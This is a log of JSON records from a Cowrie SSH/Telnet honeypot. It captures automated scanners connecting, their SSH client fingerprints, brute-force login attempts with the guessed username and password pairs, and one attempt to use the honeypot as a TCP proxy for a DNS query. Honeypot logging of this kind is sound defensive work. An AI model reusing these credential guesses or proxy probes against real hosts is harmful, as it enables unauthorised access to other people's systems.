{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:49:28.511571Z","src_ip":"103.15.226.202","session":"b9039655ceaf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:49:28.669903Z","src_ip":"122.168.194.41","session":"fb227d634c0e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Zxc!@#123","message":"login attempt [root/Zxc!@#123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:49:29.234932Z","src_ip":"103.15.226.202","session":"b9039655ceaf","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:49:29.818528Z","src_ip":"122.168.194.41","session":"fb227d634c0e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.1","message":"Connection lost after 8.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:49:30.122316Z","src_ip":"122.168.194.41","session":"b7fd7f03ad09","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:49:30.129478Z","src_ip":"122.168.194.41","session":"fb227d634c0e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:49:30.477193Z","src_ip":"103.15.226.202","session":"b9039655ceaf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":27818,"dst_ip":"10.17.0.5","dst_port":23,"session":"fbe8b5640b0c","protocol":"telnet","message":"New connection: 212.55.149.117:27818 (10.17.0.5:23) [session: fbe8b5640b0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:49:41.656771Z"}
{"eventid":"cowrie.session.closed","duration":35.36193656921387,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:49:41.707334Z","src_ip":"128.199.8.54","session":"3853cbf9d4cf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.149614095687866,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:49:56.381831Z","src_ip":"128.199.8.54","session":"d3a54c772339","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":63560,"dst_ip":"10.17.0.5","dst_port":22,"session":"97accc28f531","protocol":"ssh","message":"New connection: 87.251.64.176:63560 (10.17.0.5:22) [session: 97accc28f531]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:49:58.957878Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:49:58.962575Z","src_ip":"87.251.64.176","session":"97accc28f531","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:49:59.059801Z","src_ip":"87.251.64.176","session":"97accc28f531","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:49:59.502853Z","src_ip":"87.251.64.176","session":"97accc28f531","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:49:59.601532Z","session":"97accc28f531","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:49:59.699393Z","src_ip":"87.251.64.176","session":"97accc28f531","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:49:59.798661Z","src_ip":"87.251.64.176","session":"97accc28f531","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":37274,"dst_ip":"159.203.135.109","dst_port":23,"session":"9329704ab754","protocol":"telnet","message":"New connection: 128.199.8.54:37274 (159.203.135.109:23) [session: 9329704ab754]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:50:16.965700Z"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.194.41","src_port":35728,"dst_ip":"159.203.135.109","dst_port":22,"session":"102b9d5ef4f8","protocol":"ssh","message":"New connection: 122.168.194.41:35728 (159.203.135.109:22) [session: 102b9d5ef4f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:50:21.161321Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:50:21.166201Z","src_ip":"122.168.194.41","session":"102b9d5ef4f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:50:21.434472Z","src_ip":"122.168.194.41","session":"102b9d5ef4f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user123456789","message":"login attempt [user/user123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:50:22.539053Z","src_ip":"122.168.194.41","session":"102b9d5ef4f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:50:23.815800Z","src_ip":"122.168.194.41","session":"102b9d5ef4f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":62.95858931541443,"message":"Connection lost after 62 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:50:27.908024Z","src_ip":"212.55.149.117","session":"d77f0a6d7ea7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.48942685127258,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:50:52.455024Z","src_ip":"128.199.8.54","session":"9329704ab754","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":52324,"dst_ip":"159.203.135.109","dst_port":23,"session":"4fe2fe1b5ffb","protocol":"telnet","message":"New connection: 128.199.8.54:52324 (159.203.135.109:23) [session: 4fe2fe1b5ffb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:51:16.542907Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":54354,"dst_ip":"159.203.135.109","dst_port":23,"session":"e84599b0b00c","protocol":"telnet","message":"New connection: 128.199.8.54:54354 (159.203.135.109:23) [session: e84599b0b00c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:51:20.567439Z"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.194.41","src_port":39452,"dst_ip":"159.203.135.109","dst_port":22,"session":"b5f8f2a4b008","protocol":"ssh","message":"New connection: 122.168.194.41:39452 (159.203.135.109:22) [session: b5f8f2a4b008]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:51:20.684479Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:51:20.689904Z","src_ip":"122.168.194.41","session":"b5f8f2a4b008","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:51:20.968174Z","src_ip":"122.168.194.41","session":"b5f8f2a4b008","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testftp","password":"testftp1234","message":"login attempt [testftp/testftp1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:51:22.106761Z","src_ip":"122.168.194.41","session":"b5f8f2a4b008","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:51:23.395651Z","src_ip":"122.168.194.41","session":"b5f8f2a4b008","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":38638,"dst_ip":"10.17.0.5","dst_port":23,"session":"bb8c2659da7d","protocol":"telnet","message":"New connection: 212.55.149.117:38638 (10.17.0.5:23) [session: bb8c2659da7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:51:25.082972Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":36302,"dst_ip":"159.203.135.109","dst_port":23,"session":"a0dcb477c59d","protocol":"telnet","message":"New connection: 128.199.8.54:36302 (159.203.135.109:23) [session: a0dcb477c59d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:51:37.286578Z"}
{"eventid":"cowrie.session.closed","duration":120.00557327270508,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:51:41.662206Z","src_ip":"212.55.149.117","session":"fbe8b5640b0c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":51781,"dst_ip":"10.17.0.5","dst_port":23,"session":"1dc4268ccc9b","protocol":"telnet","message":"New connection: 212.55.149.117:51781 (10.17.0.5:23) [session: 1dc4268ccc9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:51:45.738556Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":60576,"dst_ip":"159.203.135.109","dst_port":23,"session":"c5855e178395","protocol":"telnet","message":"New connection: 128.199.8.54:60576 (159.203.135.109:23) [session: c5855e178395]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:51:50.032132Z"}
{"eventid":"cowrie.session.closed","duration":34.23778533935547,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:51:50.780578Z","src_ip":"128.199.8.54","session":"4fe2fe1b5ffb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.777533292770386,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:51:53.344851Z","src_ip":"128.199.8.54","session":"e84599b0b00c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":65428,"dst_ip":"10.17.0.5","dst_port":23,"session":"36208fbec3ae","protocol":"telnet","message":"New connection: 212.55.149.117:65428 (10.17.0.5:23) [session: 36208fbec3ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:52:00.758781Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":39200,"dst_ip":"159.203.135.109","dst_port":23,"session":"b0f2ed777f22","protocol":"telnet","message":"New connection: 128.199.8.54:39200 (159.203.135.109:23) [session: b0f2ed777f22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:52:07.488754Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":41436,"dst_ip":"159.203.135.109","dst_port":23,"session":"4295ed2b4b28","protocol":"telnet","message":"New connection: 128.199.8.54:41436 (159.203.135.109:23) [session: 4295ed2b4b28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:52:08.541516Z"}
{"eventid":"cowrie.session.closed","duration":35.065295696258545,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:52:12.351768Z","src_ip":"128.199.8.54","session":"a0dcb477c59d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":51376,"dst_ip":"159.203.135.109","dst_port":22,"session":"38487a3974bd","protocol":"ssh","message":"New connection: 2.57.122.208:51376 (159.203.135.109:22) [session: 38487a3974bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:52:14.231311Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:52:14.424599Z","src_ip":"2.57.122.208","session":"38487a3974bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:52:14.533797Z","src_ip":"2.57.122.208","session":"38487a3974bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123456","message":"login attempt [solv/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:52:15.885605Z","src_ip":"2.57.122.208","session":"38487a3974bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:52:17.123770Z","src_ip":"2.57.122.208","session":"38487a3974bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.194.41","src_port":49570,"dst_ip":"159.203.135.109","dst_port":22,"session":"8e868c216bed","protocol":"ssh","message":"New connection: 122.168.194.41:49570 (159.203.135.109:22) [session: 8e868c216bed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:52:20.513335Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:52:20.517685Z","src_ip":"122.168.194.41","session":"8e868c216bed","protocol":"ssh"}
